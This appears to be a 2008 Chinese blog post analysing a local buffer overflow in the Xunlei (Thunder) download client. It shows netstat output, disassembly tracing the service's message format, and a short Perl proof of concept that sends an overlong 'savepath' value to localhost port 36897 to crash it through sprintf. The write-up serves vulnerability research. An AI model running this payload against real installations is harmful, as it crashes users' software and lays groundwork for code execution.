最新迅雷本地溢出POC

更新時(shí)間：2008年05月07日 23:45:28 作者：

By:瘋狗[B.C.T] 以前一直在傳迅雷還有0day，Activex的應(yīng)該差不多了，但是也不敢怠慢，還是卸載之，今天豐初發(fā)來一URL，原來素一迅雷0day，看說明還是遠(yuǎn)程！感覺裝了一個(gè)，看那個(gè)漏洞監(jiān)聽的端口

C:\>netstat -na|find "36897"
TCP 127.0.0.1:36897 0.0.0.0:0 LISTENING

綁定的本地IP??？！那就說明這個(gè)是不可以遠(yuǎn)程的，只能本地了。
......
23132CBE 68 B4C61323 push 2313C6B4 ; ASCII "savepath"
23132CC3 57 push edi
23132CC4 FFD6 call esi
23132CC6 59 pop ecx
23132CC7 84C0 test al, al

......

23132CEF 85FF test edi, edi
23132CF1 74 02 je short 23132CF5
23132CF3 8BCF mov ecx, edi
23132CF5 B8 D4C61323 mov eax, 2313C6D4 ; ASCII "XLDAP"
23132CFA 50 push eax
23132CFB 52 push edx
23132CFC 51 push ecx
23132CFD 50 push eax
23132CFE 8D85 5CFEFFFF lea eax, dword ptr [ebp-1A4]
23132D04 68 C0C61323 push 2313C6C0 ; ASCII "%s|%s|%s|%s"
......

根據(jù)上面可以分析出來這個(gè)端口接受數(shù)據(jù)的格式是XLDAP|A|B|XLDAP，A是方法，B是值。又偷懶看了下介紹，問題出在savepath方法上，那么構(gòu)造數(shù)據(jù)就很簡單了，POC如下：
#!/usr/bin/perl
use IO::Socket;

if ($socket = IO::Socket::INET->new(PeerAddr => "127.0.0.1",PeerPort => "36897",Proto => "TCP"))
{
$exploit = "XLDAP|savepath|".
# ("A" x 397).
("A" x 500).
"|XLDAP";

print $socket $exploit;
sleep(1);
close($socket);
}
else
{
print "Cannot connect to localhost:36897 port\n";
}
如果用python寫exp的話你會(huì)很郁悶，因?yàn)閜y總是會(huì)給偶多出一個(gè)換行，就算使用[:-1]這種方法也沒用，郁悶，目前不清楚是傳遞的過程還是print的時(shí)候，誰知道是什么原因？
23132D09 50 push eax
23132D0A FF15 54E51323 call dword ptr [<&MSVCRT.sprintf>] ; crash
23132D10 8D85 5CFEFFFF lea eax, dword ptr [ebp-1A4]
就是在執(zhí)行這步sprintf函數(shù)復(fù)制的時(shí)候?qū)е耤rash。